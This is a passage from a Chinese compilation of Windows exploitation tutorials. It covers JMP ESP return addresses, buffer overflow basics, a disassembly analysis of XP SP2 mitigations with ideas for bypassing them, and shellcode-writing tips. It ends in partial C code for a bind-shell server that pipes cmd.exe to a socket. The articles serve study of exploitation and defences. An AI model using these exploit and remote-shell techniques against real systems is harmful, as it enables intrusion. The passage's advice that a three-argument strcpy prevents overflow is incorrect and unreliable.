上面的$buffer变量是我们提交的数据，因为漏洞描述中已经给出了在填充5097（部分系统是5093）个字节就会出发漏洞，其中"\x12\x45\xfa\x7f"是WIN2000中文版JMP ESP的通用返回地址（0x7ffa4512），其他的系统得自己去网上找一下。

三 总结
全部源码请看附带的程序。这个程序用处虽然不大，但给大家提供了一些简单的方法。大家可以参考这个流程改写网上一些漏洞利用程序，其实好多溢出程序最原始版本作者写得都很保留，功能尽量减少，只是一个测试，这一点我也很赞同，省得一些什么都不懂的菜鸟到处搞破坏。大部分利用程序都是经过很多人改写后才得以流传到网上，这时的程序已经很完美了。我写此文也希望大家以后通过努力学习把外国人写的利用程序改成我们自己的。


缓冲区溢出基础
作者：风泽
出处：[CGI] [EST]
因为本人也只是粗浅的懂一点缓冲区溢出的知识，考虑了好久决定写出来，如果有错误和不足的地方请指出，希望这篇拙文能给你点帮助。如果你已经学过的话，就不必在看了，这些只是一些基础。
缓冲区：缓冲区就是程序运行时计算机内存中的一个连续的块，他保存了各种类型的数据。在分配同一数据类型的相邻块时，这块区域被称为缓冲区(他们是程序运行时分配的)。我们经常谈的缓冲区溢出就是在向这块内存区域写入超过他所能放入数据的量，而发生溢出的情况。
现在很多人使用c和c++写程序，因为c语言的功能实在是太强大了，但是由于他没做执行数组边界检查和类型安全检查，所以使得他属于非安全型语言。所以很多溢出都和c语言有关。所以想成为高手，c语言就是敲门砖。
例子：一个c程序，它让你输入数据，并为你分配了M个字节，如果你输入了多于M字节的数据的话程序就很可能造成缓冲区溢出
char input[]="123456";
char output[5];
strcpy(output,input);
以上程序就会发生溢出了，因为input[]超过了output[]的容量。
如果将 strcpy(output,input);改成 strcpy(output,input， sizeof(output));的话就不会溢出了。
所以我们要进可能的避免应用c中危险的函数，如：
strpy()
strcat()
sprintf()
scanf()
vsprintf()
vscanf()
streadd()
…
还有好几个，我就不在写出来了。
基础知识：
一个程序运行时，他在内存中的映像可一分为：代码段，数据段，堆栈段。缓冲区的溢出就是利用堆栈段溢出的。
堆栈就是内存中一个连续的块，堆栈指针指向堆栈的栈顶，堆栈的底部是一个固定地址，堆栈特点是后进先出，就象你从达能饼干袋子里面拿饼干一样。他支持PUSH和POP 操作。
PUSH是将数据放到栈的顶端。
POP是将栈顶的数据取出来。
在c语言中，程序函数调用和函数中的临时变量都用到堆栈，参数的传递和返回值也用到了堆栈，所以c程序很容易发生溢出。大家都知道栈的资源是有限的，每次调用一个函数，他的空间都会比上次小，所以过多的定义局部变量和数组很容易引发栈的空间短缺，导致程序出错，这个不是缓冲区的溢出，应该只能说是个条件，至于堆更是不太好好把握的，特别是指针，只要稍微一点不注意释放堆空间，就会发生想不到的错误。
至于怎样溢出，在什么地方溢出能够获得最高权限，不是我们能达到的，所以想要进一步学习的朋友最好买点针对缓冲区溢出的书看看。


[转载]Widows Xp Sp2溢出保护

文章作者：funnywei_at_163.com
我们知道在我们对溢出漏洞进行exp的时候，经常要利用全局性的指针，利用异常处理。那么XP的sp2对此作了处理。使得我们无法运用以前的技巧来完成我们的工作。例如，对全局性的指针都作了编码处理。
那么具体来讲，本文主要谈到以下
1、映射给PEB管理结构的起始地址做了随机处理。后面我们会看到这种随机是很弱的，但已经足够让exp无法完成或者说是稳定的工作。
2、对TOP SEH的保护
3、VEH链表指针_RtlpCalloutEntryList的保护
4、堆块结构的cookie保护
不涉及内容：
1、如何绕过保护机制
2、堆管理的细节，其实没有太大的变化
主题开始：
1、PEB的地址的随机
xp系统下，创建进程使用的是_NtCreateProcessEx函数，而不是_NtCreateProcess函数。_NtCreateProcess主要调用_PspCreateProcess@36函数来完成进程的创建工作
PAGE:004B4649 call _PspCreateProcess@36 ; PspCreateProcess(x,x,x,x,x,x,x,x,x)
进程的创建主要包括设置EPROCESS,创建初始进程地址空间等。这里就不罗嗦了。PEB的设置通过调用_MmCreatePeb.

PAGE:004B428E push eax
PAGE:004B428F push ebx
PAGE:004B4290 push dword ptr [ebp-60h]
PAGE:004B4293 call _MmCreateProcessAddressSpace@12 ; MmCreateProcessAddressSpace(x,x,x)

PAGE:004B43E5 lea eax, [ebx+1B0h]
PAGE:004B43EB push eax
PAGE:004B43EC lea eax, [ebp-40h]
PAGE:004B43EF push eax
PAGE:004B43F0 push ebx
PAGE:004B43F1 call _MmCreatePeb@12 ; MmCreatePeb(x,x,x)
而MmCreatePeb又主要通过调用_MiCreatePebOrTeb
PAGE:004B4A61 ; __stdcall MmCreatePeb(x,x,x)
PAGE:004B4A61 _MmCreatePeb@12 proc near ; CODE XREF: PspCreateProcess(x,x,x,x,x,x,x,x,x)+303p
PAGE:004B4A61
PAGE:004B4A61 ; FUNCTION CHUNK AT PAGE:005267FF SIZE 000000DC BYTES
PAGE:004B4A61
PAGE:004B4A61 push 3Ch
PAGE:004B4A63 push offset dword_42DAA8
PAGE:004B4A68 call __SEH_prolog
PAGE:004B4A6D xor ebx, ebx
PAGE:004B4A6F mov [ebp-20h], ebx
PAGE:004B4A72 mov [ebp-4Ch], ebx
PAGE:004B4A75 mov [ebp-48h], ebx
PAGE:004B4A78 mov [ebp-2Ch], ebx
PAGE:004B4A7B mov esi, [ebp+8]
PAGE:004B4A7E push esi
PAGE:004B4A7F call _KeAttachProcess@4 ; KeAttachProcess(x)
PAGE:004B4A84 push 2
PAGE:004B4A86 pop edi
PAGE:004B4A87 push edi
PAGE:004B4A88 push (offset loc_4FFFFE+2)
PAGE:004B4A8D push 1
PAGE:004B4A8F lea eax, [ebp-2Ch]
PAGE:004B4A92 push eax
PAGE:004B4A93 lea eax, [ebp-4Ch]
PAGE:004B4A96 push eax
PAGE:004B4A97 push ebx
PAGE:004B4A98 push ebx
PAGE:004B4A99 lea eax, [ebp-20h]
PAGE:004B4A9C push eax
PAGE:004B4A9D push esi
PAGE:004B4A9E push ds:_InitNlsSectionPointer
PAGE:004B4AA4 call _MmMapViewOfSection@40 ; MmMapViewOfSection(x,x,x,x,x,x,x,x,x,x)
PAGE:004B4AA9 mov [ebp-24h], eax
PAGE:004B4AAC cmp eax, ebx
PAGE:004B4AAE jl loc_5267FF
PAGE:004B4AB4 lea eax, [ebp-1Ch]
注意下面这个210参数,类似一个Flag。在后面你会发现,如果该参数不等于210,那么映射的PEB地址将不会产生随机值，而是会跟以前的一样,始终在7FFDF000位置。
PAGE:004B4AB7 push eax
PAGE:004B4AB8 push 210h
;注意这个参数!
PAGE:004B4ABD push esi
PAGE:004B4ABE call _MiCreatePebOrTeb@12 ; MiCreatePebOrTeb(x,x,x)
真正完成工作
_MiCreatePebOrTeb@12 函数
PAGE:004B01AE call _ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
PAGE:004B01B3 mov esi, eax
PAGE:004B01B5 test esi, esi
PAGE:004B01B7 jz loc_52678E
PAGE:004B01BD mov eax, [ebp+arg_8]
PAGE:004B01C0 mov ecx, [ebp+arg_8]
PAGE:004B01C3 and eax, 0FFFh
PAGE:004B01C8 neg eax
PAGE:004B01CA sbb eax, eax
PAGE:004B01CC neg eax
PAGE:004B01CE shr ecx, 0Ch
PAGE:004B01FB cmp [ebp+arg_8], 210h
PAGE:004B0202 jz loc_4B4A0A
;这里将210与压栈的参数比较，如果压入栈的不是210呢

PAGE:004B0208 loc_4B0208: ; CODE XREF: MiCreatePebOrTeb(x,x,x)+48ADj
PAGE:004B0208 mov edi, [ebp+arg_C]
PAGE:004B020B mov eax, _MmHighestUserAddress
PAGE:004B0210 push edi
PAGE:004B0211 push dword ptr [ebx+11Ch]
PAGE:004B0217 add eax, 0FFFF0001h
PAGE:004B021C push 1000h
PAGE:004B0221 push eax
PAGE:004B0222 mov eax, [ebp+arg_8]
PAGE:004B0225 add eax, 0FFFh
PAGE:004B022A and eax, 0FFFFF000h
PAGE:004B022F push eax
PAGE:004B0230 call _MiFindEmptyAddressRangeDownTree@20 ; MiFindEmptyAddressRangeDownTree(x,x,x,x,x)
PAGE:004B0235 test eax, eax
PAGE:004B0237 mov [ebp+arg_C], eax
PAGE:004B023A jl loc_5267A5
关键是这里
PAGE:004B4A0A loc_4B4A0A: ; CODE XREF: MiCreatePebOrTeb(x,x,x)+66j
PAGE:004B4A0A mov edi, _MmHighestUserAddress
;总是7FFEFFFF
PAGE:004B4A10 lea eax, [ebp+var_C]
PAGE:004B4A13 push eax
PAGE:004B4A14 add edi, 0FFFF0001h
;此时edi为7FFE0000
PAGE:004B4A1A call _KeQueryTickCount@4 ; KeQueryTickCount(x)
PAGE:004B4A1F mov eax, [ebp+var_C]
PAGE:004B4A22 and eax, 0Fh
;只取最后一个字节的值,比如此时为0C
PAGE:004B4A25 cmp eax, 1
;看eax此时是不是为01
PAGE:004B4A28 mov [ebp+var_C], eax
PAGE:004B4A2B jbe loc_4B4928
;如果是就跳到去处理
PAGE:004B4A31 loc_4B4A31: ; CODE XREF: MiCreatePebOrTeb(x,x,x)+4792j
PAGE:004B4A31 shl eax, 0Ch
PAGE:004B4A34 sub edi, eax
PAGE:004B4A36 lea eax, [edi+0FFFh]
PAGE:004B4A3C push eax
PAGE:004B4A3D push edi
PAGE:004B4A3E push ebx
PAGE:004B4A3F mov [ebp+var_4], edi
PAGE:004B4928 loc_4B4928: ; CODE XREF: MiCreatePebOrTeb(x,x,x)+488Fj
如果eax为1,那么就更改为2.这样避免最后计算出来为7FFDF000.而是为7FFDE000
PAGE:004B4928 push 2
PAGE:004B492A pop eax
PAGE:004B492B mov [ebp+var_C], eax
PAGE:004B492E jmp loc_4B4A31
因为KeTickCount是进程的一个时间计数，所以无法预测。
.text:0041CAA8 mov edi, edi
.text:0041CAAA push ebp
.text:0041CAAB mov ebp, esp
.text:0041CAAD mov ecx, _KeTickCount.High1Time
.text:0041CAB3 mov eax, [ebp+arg_4]
.text:0041CAB6 mov [eax+4], ecx
.text:0041CAB9 mov edx, _KeTickCount.LowPart
.text:0041CABF mov [eax], edx

经过上面的分析我们知道，如果如果eax随机出来是1,2,那么最后分配的PEB的地址都是7FFDE000，这是为了避免以前的
7FFDF000地址的出现，使得以前的堆利用代码都失效。:)
1，2 7FFDE000
3 7FFDD000
4 7FFDC000
5 7FFDB000
6 7FFDA000
7 7FFD9000
8 7FFD8000
9 7FFD7000
A 7FFD6000
B 7FFD5000
C 7FFD4000
D 7FFD3000
E 7FFD2000
F 7FFD1000
0 7FFDE000
上面列出了可以看到PEB的所有可能值，可以看到7FFDE000的概率最高，1/8，其他都是1/16。:)，但即使这样，也没法稳定利用了。
2、对TOP SEH的保护
微软对函数SetUnhandledExceptionFilter的代码进行了重大的调整。SetUnhandledExceptionFilter是kernel32.dll中导出的一个函数，用来设置一个筛选器异常处理回掉函数，这个回掉函数不替换系统默认的异常处理程序，而只是在它前面进行了一些预处理，操作的结果还是会送到系统默认的异常处理程序中去，这个过程就相当于对异常进行了一次筛选。
函数的SetUnhandledExceptionFilter调用方式为：
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);
这个函数唯一的一个参数就是需要设置的回调函数的地址，返回值为上一次设置的回掉函数的地址。该函数不是在原来的回掉函数前再挂一个回掉函数，而是用这个新的回掉函数替换原来的那个回掉函数。如果地址参数被指定为NULL，那么系统将去掉这个“筛子”而直接将异常送往默认的异常处理程序。winxp sp2对这个函数做了重大的改变，在替换原来的回掉函数之前，首先会先对新的回掉函数的地址进行加密，而后再替换原来的回掉函数。在返回原回掉函数地址之前，会对其进行解密。该函数比较简单：
.text:7C810386 SetUnhandledExceptionFilter proc near
.text:7C810386 lpTopLevelExceptionFilter = dword ptr 8
.text:7C810386
.text:7C810386 mov edi, edi
.text:7C810388 push ebp
.text:7C810389 mov ebp, esp
；这里先对地址lpTopLevelExceptionFilter进行加密
.text:7C81038B push [ebp+ lpTopLevelExceptionFilter]
.text:7C81038E call RtlEncodePointer
；而后将加密之后的地址和原回掉函数地址进行交换，也就是将加密之后的地址写入到
；一个全局变量中，同时将该全局变量中的原回掉函数地址返回
.text:7C810393 push eax ; Value
.text:7C810394 push offset Target ; Target
.text:7C810399 call InterlockedExchange
；在返回原回掉函数地址之前先进行解密，因为原回掉函数地址也进行了加密
.text:7C81039E push eax
.text:7C81039F call RtlDecodePointer
.text:7C8103A4 pop ebp
.text:7C8103A5 retn 4
.text:7C8103A5 SetUnhandledExceptionFilter endp ; sp = -8
.text:7C8103A5
而以前都是直接将回掉函数的地址写入到全局变量中，没有经过任何的处理。可见，我们再也无法像以前一样通过覆盖该函数指针来利用堆溢出了。而且经过分析发现，winxp sp2对所有的全局指针都进行了这样的加密处理。接着往下看它是怎么对地址进行加密的。
RtlEncodePointer和RtlDecodePointer都是ntdll.dll导出的函数，RtlEncodePointer用来对一个指针进行加密，RtlDecodePointer用来对一个指针进行解密。其实整个个加密解密过程都很简单，加密时直接将指针和一个的随机数进行异或，解密时再和该随机数进行异或。
加密：point = point ^ rand
解密：point = point ^ rand
rand是一个跟进程相关的随机数，通过调用函数ZwQueryInformationProcess得到，每个进程该随机数都不一样。
为了避免你再次进行反汇编，这里贴出这两个函数的代码。
RtlEncodePointer函数的代码如下：
.text:7C933917 RtlEncodePointer proc near
.text:7C933917 var_4 = dword ptr -4
.text:7C933917 arg_4 = dword ptr 8
.text:7C933917
.text:7C933917 mov edi, edi
.text:7C933919 push ebp
.text:7C93391A mov ebp, esp
；调用函数ZwQueryInformationProcess得到一个跟进程相关的随机数
.text:7C93391C push ecx
.text:7C93391D push 0
.text:7C93391F push 4
；这里得到堆栈中的一个临时变量的地址，最后得到的随机数将保存在这个临时变量中。
.text:7C933921 lea eax, [ebp+var_4]
.text:7C933924 push eax
.text:7C933925 push 24h ；子功能代码为0x24
.text:7C933927 push 0FFFFFFFFh
.text:7C933929 call ZwQueryInformationProcess
；将得到的随机数和指针进行异或，这样就完成了加密。
；解密的过程和加密的过程相同
.text:7C93392E mov eax, [ebp+var_4]
.text:7C933931 xor eax, [ebp+arg_4]
.text:7C933934 leave
.text:7C933935 retn 4
.text:7C933935 RtlEncodePointer endp ; sp = 4
函数RtlDecodePointer更简单，只是直接转到RtlEncodePointer执行，因为解密的过程和加密的过程完全相同。
.text:7C93393D RtlDecodePointer proc near
；下面这四跳语句没有任何的作用
.text:7C93393D mov edi, edi
.text:7C93393F push ebp
.text:7C933940 mov ebp, esp
.text:7C933942 pop ebp
；下面这条语句转到RtlEncodePointer执行，其实就相当于直接调用了函数
；RtlEncodePointer
.text:7C933943 jmp short RtlEncodePointer
.text:7C933943 RtlDecodePointer endp
ZwQueryInformationProcess最后会调用一个系统调用，转到内核运行，最后会调用内核中的函数NtQueryInformationProcess，并且调用该函数的子功能代码为0x24。该子功能直接取出保存在进程中的一个随机数，并将其拷贝到用户堆栈中的一个临时变量中。如果该随机数为0，则还要根据系统时间重新生成该随机数，一般在进程刚开始创建的时候，这个随机数为0，从而会重新生成该随机数。由于该随机数跟进程创建的时间有关，所以这个随机数是无法猜测的。该函数在ntoskrnl.exe中导出，跟这个功能相关的函数代码为：
PAGE:004970CC loc_4970CC:
；下面的代码得到一个进程唯一的随机数，子功能代码为0x24
PAGE:004970CC cmp edi, edx ; case 0x24
PAGE:004970CE jnz loc_497349
PAGE:004970D4 cmp dword ptr [ebp+8], 0FFFFFFFFh
PAGE:004970D8 jnz loc_4977B8
；下面的代码得到保存随机数的地址
PAGE:004970DE mov eax, large fs:124h
PAGE:004970E4 mov eax, [eax+44h]
PAGE:004970E7 mov [ebp-34h], eax
PAGE:004970EA
PAGE:004970EA loc_4970EA:
PAGE:004970EA mov edi, [ebp-34h]
PAGE:004970ED add edi, 258h
；edi地址中保存的是一个跟进程相关的随机数，这里取出这个随机数
PAGE:004970F3 mov eax, [edi]
PAGE:004970F5 test eax, eax
PAGE:004970F7 jz loc_4B2379
{
；如果得到的随机数为0，则重新得到随机数，得到随机数的过程如下：
；1、先得到系统的时间，
；2、而后将这个时间和系统内核中的一个值进行不断的异或操作，
；就产生了一个随机数
PAGE:004B2379
PAGE:004B2379 loc_4B2379:
；得到系统时间
PAGE:004B2379 lea eax, [ebp-3Ch]
PAGE:004B237C push eax
PAGE:004B237D call KeQuerySystemTime
PAGE:004B2382 db 3Eh
；得到系统内核中的一个全局变量，该全局变量估计也是一个随机数
PAGE:004B2382 mov eax, ds:0FFDFF020h
PAGE:004B2388 mov ecx, [eax+518h]
PAGE:004B238E xor ecx, [eax+4B8h]
；将得到的随机数和得到系统时间进行异或
PAGE:004B2394 xor ecx, [ebp-38h]
PAGE:004B2397 xor ecx, [ebp-3Ch]
；将计算得到的随机数保存在上面的跟进程相关的全局变量中，edi中保存的就是
；这个地址。
PAGE:004B239A mov [ebp-0CCh], ecx
PAGE:004B23A0 mov [ebp-0D4h], edi
PAGE:004B23A6 mov eax, 0
PAGE:004B23AB mov ecx, [ebp-0D4h]
PAGE:004B23B1 mov edx, [ebp-0CCh]
PAGE:004B23B7 cmpxchg [ecx], edx
PAGE:004B23BA push 4
PAGE:004B23BC pop edx
；重新转到loc_4970EA，再一次得到刚才生成的随机数，如果该生成的随机数为
；0，则还会重新生成。
PAGE:004B23BD jmp loc_4970EA
}
；得到随机数之后，将其拷贝到用户栈中的一个临时变量中，esi保存的就是这个临时
；变量的地址。至此，就得到了一个跟进程相关的随机数，该随机数跟进程的创建时间
；相关。
PAGE:004970FD mov dword ptr [ebp-4], 15h
PAGE:00497104 mov [esi], eax
PAGE:00497106 test ebx, ebx
PAGE:00497108 jnz loc_497AA5
PAGE:0049710E jmp loc_4955F5
到这里我们已经完全清楚了整个随机数的获取过程。该随机数跟进程的创建时间相关，可见我们是无法猜得该随机数的。不过这个随机数只是再进程创建的时候产生，并且直到进程结束，该随机数都不会改变。所以，如果我们可以得到该随机数，在进程结束之前还是可以利用的。比如我们可以将其和我们的跳转地址进行异或，通过溢出将其写入到最高溢出处理地址，就可以像以前一样利用了。
不过这种方法对于远程溢出是无法利用的。但是如果能够覆盖程序的导入表或者静态数据段，那就是最理想的情况了。不过系统DLL的导入表不能够修改，但是一般程序的导入表还都是可以改的，所以还是有利用的可能性的。如果在静态数据段中存在某些函数的指针，则可以进行覆盖，从而加以利用，如果存在这种情况的话，要做到利用的通用还是有可能的。
3、VEH链表指针_RtlpCalloutEntryList的保护
我们知道堆溢出经常用的一个技巧就是修改VEH的链表指针。这在xp sp0和sp1的环境下都好使。但是sp2同样堵住了这条路。
xp_sp2下
异常处理过程
KiUserExceptionDispatcher
|
________RtlDispatchException
|
___________RtlCallVectoredExceptionHandlers
sp2中，该指针位于
.data:7C99C320 _RtlpCalloutEntryList dd 0 ; DATA XREF: LdrpInitializeProcess(x,x,x,x,x)+2EFo
.data:7C99C320 ; LdrpInitializeProcess(x,x,x,x,x)+2F9w ...
我们就直接看看RtlCallVectoredExceptionHandlers函数
.text:7C95779C ; __stdcall RtlCallVectoredExceptionHandlers(x,x)
.text:7C95779C _RtlCallVectoredExceptionHandlers@8 proc near
.text:7C95779C ; CODE XREF: RtlDispatchException(x,x)+14p
.text:7C95779C mov edi, edi
.text:7C95779E push ebp
.text:7C95779F mov ebp, esp
.text:7C9577A1 push ecx
.text:7C9577A2 push ecx
.text:7C9577A3 push edi
这里就比较VEH的链表是不是空的，也就是看自己是否指向自己。如果是空的就不用说了，非空就转向该指针的调用
.text:7C9577A4 mov edi, offset _RtlpCalloutEntryList
.text:7C9577A9 cmp _RtlpCalloutEntryList, edi
.text:7C9577AF jnz loc_7C962DA0

.text:7C962DA0 loc_7C962DA0: ; CODE XREF: RtlCallVectoredExceptionHandlers(x,x)+13j
.text:7C962DA0 mov eax, [ebp+arg_4]
.text:7C962DA3 push ebx
.text:7C962DA4 push esi
.text:7C962DA5 mov [ebp+var_8], eax
.text:7C962DA8 mov eax, [ebp+arg_8]
.text:7C962DAB mov ebx, offset _RtlpCalloutEntryLock
.text:7C962DB0 push ebx
.text:7C962DB1 mov [ebp+var_4], eax
.text:7C962DB4 call _RtlEnterCriticalSection@4 ; RtlEnterCriticalSection(x)
.text:7C962DB9 mov esi, _RtlpCalloutEntryList
.text:7C962DBF jmp short loc_7C962DD6
.text:7C962DC1 loc_7C962DC1: ; CODE XREF: RtlInitializeResource(x)+21C3Dj
.text:7C962DC1 push dword ptr [esi+8]
代码就不解释那么多了，可以看到指针在使用前必须先解码，这个函数前面已经讲解过了。
.text:7C962DC4 call _RtlDecodePointer@4 ; RtlDecodePointer(x)
.text:7C962DC9 lea ecx, [ebp+var_8]
.text:7C962DCC push ecx
.text:7C962DCD call eax
.text:7C962DCF cmp eax, 0FFFFFFFFh
.text:7C962DD2 jz short loc_7C962DEE
.text:7C962DD4 mov esi, [esi]
所以可以看到在sp2下无法利用这个覆盖VEH链表指针的技巧了。
给出xp sp1下通用的指针
xp sp1下
.text:77F60C26 ; __stdcall RtlCallVectoredExceptionHandlers(x,x)
.text:77F60C26 _RtlCallVectoredExceptionHandlers@8 proc near
.text:77F60C26 ; CODE XREF: RtlDispatchException(x,x)+Ep
.text:77F60C26 push ebp
.text:77F60C27 mov ebp, esp
.text:77F60C29 push ecx
.text:77F60C2A push ecx
.text:77F60C2B push edi
.text:77F60C2C mov edi, offset _RtlpCalloutEntryList
.text:77F60C31 cmp _RtlpCalloutEntryList, edi
;这里我们可以看到将77FC3210的值放入edi，然后和该地址的内容相比较，如果没有安装VEH，那么该地址
;的内容也是77FC3210，就不会跳转到77F7F485。如果用户安装了VEH，那么就会跳到77F7F485
.text:77F60C37 jnz loc_77F7F485
.text:77F60C3D xor al, al
.text:77F60C3F
.text:77F60C3F loc_77F60C3F: ; CODE XREF: RtlInitializeResource(x)+1B6CDj
.text:77F60C3F pop edi
.text:77F60C40 leave
.text:77F60C41 retn 8
.text:77F7F485 loc_77F7F485: ; CODE XREF: RtlCallVectoredExceptionHandlers(x,x)+11j
.text:77F7F485 mov eax, [ebp+8]
.text:77F7F488 push ebx
.text:77F7F489 push esi
.text:77F7F48A mov [ebp-8], eax
.text:77F7F48D mov eax, [ebp+0Ch]
.text:77F7F490 mov ebx, offset _RtlpCalloutEntryLock
.text:77F7F495 push ebx
.text:77F7F496 mov [ebp-4], eax
.text:77F7F499 call _RtlEnterCriticalSection@4 ; RtlEnterCriticalSection(x)
关键的下面这个部分，从77FC3210里面取出安装的处理函数地址
.text:77F7F49E mov esi, _RtlpCalloutEntryList
.text:77F7F4A4 jmp short loc_77F7F4B4
.text:77F7F4A6 loc_77F7F4A6: ; CODE XREF: RtlInitializeResource(x)+1B6BCj
.text:77F7F4A6 lea eax, [ebp-8]
.text:77F7F4A9 push eax
.text:77F7F4AA call dword ptr [esi+8]
;这里esi指向struct _VECTORED_EXCEPTION_NODE结构，其0x08处为m_pfnVectoredHandler
;看到这里我们也就明白了，如果我们可以控制该指针，那么我们就可以控制程序的流程了！
.text:77F7F4AD cmp eax, 0FFFFFFFFh

.text:77F7F4B4 loc_77F7F4B4: ; CODE XREF: RtlInitializeResource(x)+1B6AAj
.text:77F7F4B4 cmp esi, edi
.text:77F7F4B6 jnz short loc_77F7F4A6
xp_sp0下
_RtlpCalloutEntryList 位于77FC5BD0
.data:77FC5BD0 _RtlpCalloutEntryList dd 0 ; DATA XREF: RtlCallVectoredExceptionHandlers(x,x)+6o
.data:77FC5BD0 ; RtlCallVectoredExceptionHandlers(x,x)+Br ...
4、堆块的cookie保护
现在堆块的结构
HEAP_ENTRY struc ; (sizeof=0X8)
Size dw ?
PrevSize dw ?
Cookie db ?
Flags db ?
UnusedBytes db ?
Index db ?
HEAP_ENTRY ends
空闲块管理结构
_RTL_HEAP_FREE_BLOCK struc ; (sizeof=0X10)
Entry _RTL_HEAP_ENTRY ?
List LIST_ENTRY ?
_RTL_HEAP_FREE_BLOCK ends
对比一下以前的堆块结构
typedef struct _HEAP_ENTRY {
/*0x00*/   USHORT Size;
/*0x02*/   USHORT
        PreviousSize;
/*0x04*/   UCHAR SegmentIndex;
/*0x05*/   UCHAR Flags;
/*0x06*/   UCHAR
        UnusedBytes;
/*0x07*/   UCHAR SmallTagIndex;
}
        HEAP_ENTRY, *PHEAP_ENTRY;
可以看到SmallTagIndex被舍弃了，SegmentIndex挪动到后面，而第5个字节更改为cookie。
Cookie的计算公式：
堆块头部地址除以8，然后跟Heap的总体管理结构中的cookie来异或就得到了cookie的值。
代码如下
.text:7C931487 mov edx, esi ;ESI指向HEAP_ENTRY
.text:7C931489 shr edx, 3
.text:7C93148C xor eax, eax
.text:7C93148E mov al, [edi+4] ; 进行Cookie处理,此时edi指向堆管理结构分配头部
.text:7C931491 xor eax, edx
.text:7C931493 mov [esi+4], al
那么我们可以看到cookie有256个可能的值，所以你也就不用费尽心思来想怎么覆盖cookie而不出错了。当然有很多办法绕过cookie的检测。
xp sp2对于堆的管理并没有太大的变化，但是堆的管理结构，堆块，还有Lookaside表的某些字段发生了变化，比如说有的字段从dd变成了dw，因此加了几个字段。这些细节就不在这里罗嗦了。


windows溢出随笔

1.一般栈溢出比堆溢出更容易利用，也更稳定
2.在决定动手写一个通用shellcode之前，最好先在各种windows版本下把漏洞分析一遍，包括win2k、xp、2003，各种语言版本，不同的sp版本可能漏洞症状也不同
3.不要试图在不同版本的windows里寻找不同跳转方式的相同地址，就是说，不要在win2ksp4简体中文版里的某个进程里搜索所有的jmp esp(ff,e4)的地址，在winxpsp1英文版里的某个进程里搜索所有的push esp,ret(54,c3)的地址，然后妄图比较出一个相同的地址。除非是加载在0x00400000位置的进程
4.如果用覆盖异常的方式接管指令，要注意到xp和2k是不同的。如果要写通用程序，最好用pop,pop,ret的方式，xp下不能用类似jmp ebx的方式。
5.如果要先搜索内存里的shellcode，先接管异常。xp不允许执行栈中的代码，所以需要在异常处理链里写入另一个跳转地址，再返回到栈中。或者之前就是通过覆盖异常的方式接管指令的话，现在可以直接利用了。
6.UNICODE编码比较麻烦，最好能绕过去。绕不过去时，XOR 99是个比较通用的方法
7.指令跳转只能依靠这几种指令:jmp,call,ret。绝大部分漏洞都只能尝试寻找这些指令地址
8.除了esp，ebx，还有其他方法可以定位shellcode，分析漏洞时，不妨把当时的所有寄存器都看一遍，有时保存在堆栈里的地址更有用。把上下文的调用函数也看一遍，利用它们定位可能效果更好
9.栈溢出时，如果能覆盖到ret但离溢出点太远且不能尽快跳过去，尝试覆盖异常，如果异常地址也很远不能覆盖到，试试其他方法(格式化字符串溢出？)或放弃
10.分析完一个漏洞后，写合适的shellcode往往是最难的，限制远比你想像的多，每个漏洞的利用都是耐心和创造力的考验
11.穷途末路时，先去睡一觉 :-) 。有想法时，不要想当然，任何问题都可能发生，一定要实验证明。


window系统下的远程堆栈溢出 原理篇

信息来源:中国暗域网络
我们来研究windows系统下的远程溢出方法。
我们的目的是研究如何利用windows程序的溢出来进行远程攻击。
如果对于windows下的缓冲区溢出不是很熟悉，请大家复习我前面的文章:
《window系统下的堆栈溢出》(IsBaseMagzine 20003)。
本文以及后续的《实战篇》都是建立在该文基础上的。
让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)
第一篇 《原理篇》
－－－－远程溢出算法
如何开一个远程shell呢？
思路是这样的：首先使敌人的程序溢出，让他执行我们的shellcode。
我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器，
然后等待客户来的连接。当客户连接上之后，为这个客户开创一个cmd.exe，
把客户的输入输出和cmd.exe的输入输出联系起来，我们
远程的使用者就有了一个远程shell（跟telnet一样啦）。
上面的算法我想大家都该想得到，这里面socket部分比较简单。和Unix下的基本
差不多。就是加了一个WSAStartup；为客户开创一个cmd.exe，就是用CreateProcess
来创建这个子进程；但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢？
我使用了匿名管道（Anonymous Pipe)来完成这个联系过程。
管道（Pipe）是一种简单的进程间通信（IPC）机制。在Windows NT,2000,98,95下都
可以使用。管道分有名和匿名两种，命名管道可以在同一台机器的不同进程间以及不同
机器
上的不同进程之间进行双向通信（使用UNC命名规范）。
匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。
匿名管道其实是通过用给了一个指定名字的有名管道来实现的。
管道的最大好处在于：他可以象对普通文件一样进行操作。
他的操作标示符是HANDLE,也就是说，他可以使用readFile，
WriteFile函数来进行与底层实现无关的读写操作！用户根本就不必了解网络间/进程间
通信的具体细节。
下面就是这个算法的C实现：
/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include <winsock2.h>
#include <stdio.h>
int main()
{
WSADATA wsa;
SOCKET
        listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的，我们先申请一个socketfd，
使用53764（随便，多少都行）作为这个socket连接的端口，bind他，
然后在这个端口上等待连接listen。程序阻塞在accept函数直到有
client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道，hWritePipe1只能用来写管道。
*/
STARTUPINFO
        si;
ZeroMemory(&si,sizeof(si));
si.dwFlags =
